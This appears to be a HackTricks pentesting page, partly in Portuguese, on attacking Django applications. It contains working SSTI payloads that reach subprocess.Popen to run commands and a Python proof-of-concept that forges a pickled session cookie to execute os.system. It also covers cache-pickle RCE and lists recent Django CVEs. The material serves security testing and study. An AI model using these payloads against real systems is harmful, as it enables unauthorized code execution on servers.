Django
Reading time: 6 minutes
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Cache Manipulation to RCE
Django's default cache storage method is Python pickles, which can lead to RCE if untrusted input is unpickled. If an attacker can gain write access to the cache, they can escalate this vulnerability to RCE on the underlying server.
Django cache is stored in one of four places: Redis, memory, files, or a database. Cache stored in a Redis server or database are the most likely attack vectors (Redis injection and SQL injection), but an attacker may also be able to use file-based cache to turn an arbitrary write into RCE. Maintainers have marked this as a non-issue. It's important to note that the cache file folder, SQL table name, and Redis server details will vary based on implementation.
This HackerOne report provides a great, reproducible example of exploiting Django cache stored in a SQLite database: https://hackerone.com/reports/1415436
Server-Side Template Injection (SSTI)
The Django Template Language (DTL) is Turing-complete. If user-supplied data is rendered as a template string (for example by calling Template(user_input).render()
or when |safe
/format_html()
removes auto-escaping), an attacker may achieve full SSTI → RCE.
Detection
- Look for dynamic calls to
Template()
/Engine.from_string()
/render_to_string()
that include any unsanitised request data. - Send a time-based or arithmetic payload:
{{7*7}}
If the rendered output contains 49
the input is compiled by the template engine.
Primitive to RCE
Django blocks direct access to __import__
, but the Python object graph is reachable:
{{''.__class__.mro()[1].__subclasses__()}}
Encontre o índice de subprocess.Popen
(≈400–500 dependendo da compilação do Python) e execute comandos arbitrários:
{{''.__class__.mro()[1].__subclasses__()[438]('id',shell=True,stdout=-1).communicate()[0]}}
Um gadget universal mais seguro é iterar até cls.__name__ == 'Popen'
.
O mesmo gadget funciona para recursos de renderização de templates do Debug Toolbar ou Django-CMS que manipulam incorretamente a entrada do usuário.
Veja também: ReportLab/xhtml2pdf RCE na exportação para PDF
Aplicações construídas em Django comumente integram xhtml2pdf/ReportLab para exportar views como PDF. Quando HTML controlado pelo usuário chega à geração de PDF, rl_safe_eval pode avaliar expressões dentro de colchetes triplos [[[ ... ]]]
, possibilitando execução de código (CVE-2023-33733). Detalhes, payloads, e mitigations:
Reportlab Xhtml2pdf Triple Brackets Expression Evaluation Rce Cve 2023 33733
RCE em cookie de sessão baseado em Pickle
Se a configuração SESSION_SERIALIZER = 'django.contrib.sessions.serializers.PickleSerializer'
estiver ativada (ou um serializer customizado que desserializa pickle), o Django descriptografa e desserializa (unpickles) o cookie de sessão antes de chamar qualquer código de view. Portanto, possuir uma chave de assinatura válida (o projeto SECRET_KEY
por padrão) é suficiente para execução remota de código imediata.
Requisitos do Exploit
- O servidor usa
PickleSerializer
. - O atacante conhece / pode adivinhar
settings.SECRET_KEY
(leaks via GitHub,.env
, páginas de erro, etc.).
Proof-of-Concept
#!/usr/bin/env python3
from django.contrib.sessions.serializers import PickleSerializer
from django.core import signing
import os, base64
class RCE(object):
def __reduce__(self):
return (os.system, ("id > /tmp/pwned",))
mal = signing.dumps(RCE(), key=b'SECRET_KEY_HERE', serializer=PickleSerializer)
print(f"sessionid={mal}")
Envie o cookie resultante, e o payload é executado com as permissões do worker WSGI.
Mitigações: Mantenha o JSONSerializer
padrão, rotacione SECRET_KEY
, e configure SESSION_COOKIE_HTTPONLY
.
CVEs do Django de alto impacto recentes (2023–2025) que Pentesters devem verificar
- CVE-2025-48432 – Log Injection via unescaped
request.path
(corrigido em 4 de junho de 2025). Permite que atacantes contrabandeiem quebras de linha/códigos ANSI para arquivos de log e contaminem a análise de logs a jusante. Nível de patch ≥ 4.2.22 / 5.1.10 / 5.2.2. - CVE-2024-42005 – Critical SQL injection em
QuerySet.values()/values_list()
emJSONField
(CVSS 9.8). Crie chaves JSON para escapar das aspas e executar SQL arbitrário. Corrigido em 4.2.15 / 5.0.8.
Sempre identifique a versão exata do framework via a página de erro X-Frame-Options
ou o hash de /static/admin/css/base.css
e teste o acima onde aplicável.
Referências
- Comunicado de segurança do Django – "Django 5.2.2, 5.1.10, 4.2.22 address CVE-2025-48432" – 4 de junho de 2025.
- OP-Innovate: "Django releases security updates to address SQL injection flaw CVE-2024-42005" – 11 de agosto de 2024.
- 0xdf: University (HTB) – Exploiting xhtml2pdf/ReportLab CVE-2023-33733 to gain RCE and pivot into AD – https://0xdf.gitlab.io/2025/08/09/htb-university.html
tip
Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.